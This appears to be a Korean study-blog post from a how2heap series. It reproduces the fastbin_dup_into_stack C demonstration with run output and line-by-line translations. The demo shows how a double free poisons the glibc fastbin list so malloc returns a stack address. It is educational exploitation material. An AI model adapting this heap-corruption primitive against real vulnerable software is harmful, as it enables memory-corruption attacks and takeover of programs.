#include "stdio.h"
#include "stdlib.h"

int main()
{
	printf("This file extends on fastbin_dup.c by tricking malloc into\n"
	       "returning a pointer to a controlled location (in this case, the stack).\n");

	unsigned long long stack_var;

	printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

	printf("Allocating 3 buffers.\n");
	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

	printf("1st malloc(8): %p\n", a);
	printf("2nd malloc(8): %p\n", b);
	printf("3rd malloc(8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. "
		"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
	unsigned long long *d = malloc(8);

	printf("1st malloc(8): %p\n", d);
	printf("2nd malloc(8): %p\n", malloc(8));
	printf("Now the free list has [ %p ].\n", a);
	printf("Now, we have access to %p while it remains at the head of the free list.\n"
		"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
		"so that malloc will think there is a free chunk there and agree to\n"
		"return a pointer to it.\n", a);
	stack_var = 0x20;

	printf("Now, we overwrite the first 8 bytes of the data at %p to point right after the 0x20.\n", a);
	*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

	printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
	printf("4rd malloc(8): %p\n", malloc(8));
}



This file extends on fastbin_dup.c by tricking malloc into

returning a pointer to a controlled location (in this case, the stack).

이 파일은 fastbin_dup의 확장이다. malloc을 속여서 pointer를 컨트롤된 위치에 반환한다.(이 경우, 스택이다)

unsigned long long stack_var;

The address we want malloc() to return is 0x7fff571aa030(8+(char *)&stack_var)

우리가 malloc이 return하길 바라는 주소는 8+(char*)&stack_var


Allocating 3 buffers.

3개의 buffer를 할당하자

	int *a = malloc(8);
	int *b = malloc(8);
	int *c = malloc(8);

1st malloc(8): 0x906420

2nd malloc(8): 0x906440

3rd malloc(8): 0x906460


Freeing the first one...

첫번째를 free한다

	free(a);

If we free 0x906420 again, things will crash because 0x906420 is at the top of the free list.

a를 한번더 free하면 crash가 난다. a가 free list의 top에 있기 떄문에


So, instead, we'll free 0x906440.

대신에 우리는 b를 free 할 것이다

free(b);

Now, we can free 0x906420 again, since it's not the head of the free list.

이제 우리는 a를 다시 free 할 수 있따. 이것이 free list의 head가 아니기 때문

	free(a);

Now the free list has [ 0x906420, 0x906440, 0x906420 ]. We'll now carry out our attack by modifying data at 0x906420.

이제 free list 는  [ 0x906420, 0x906440, 0x906420 ]를 가진다. 우리는 이제 0x906420(a)의 데이터를 수정함으로써 우리의 공격을 수행할 것이다

	unsigned long long *d = malloc(8);

1st malloc(8): 0x906420(d)

2nd malloc(8): 0x906440(malloc(8))


Now the free list has [ 0x906420 ].

이제 free list는 [0x906420]만을 가진다


Now, we have access to 0x906420 while it remains at the head of the free list.

so now we are writing a fake free size (in this case, 0x20) to the stack,

so that malloc will think there is a free chunk there and agree to

return a pointer to it.

이제, 우리는 0x906420으로의 접근권한을 가진다. 이것이 free list의 head로 남아있는 동안.

그래서 지금 우리는 가짜 free size(이경우 0x20)을 스택에 쓸 것이다.

그래서 malloc이 그곳에 free chunk가 있다고 생각하고 그곳으로 pointer를 반환하도록 동의하게 한다.

stack_var = 0x20;


Now, we overwrite the first 8 bytes of the data at 0x906420 to point right after the 0x20.

이제 우리는 0x906420에 있는 데이터의 첫 8byte를 0x20뒤에 있는 포인터로 덮어쓴다.


*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

3rd malloc(8): 0x906420(malloc(8)), putting the stack address on the free list

4rd malloc(8): 0x7fff571aa030(malloc(8))


'시스템 > how2heap시리즈' 카테고리의 다른 글

[how2heap정리] house of einherjar  (0) 2017.01.15
[how2heap정리]fist_fit  (0) 2017.01.14
[how2heap 정리]fastbin_dup  (0) 2017.01.06
[how2heap정리] unsorted_bin_attack  (0) 2016.12.28
[how2heap]unsafe_unlink  (0) 2016.12.16

+ Recent posts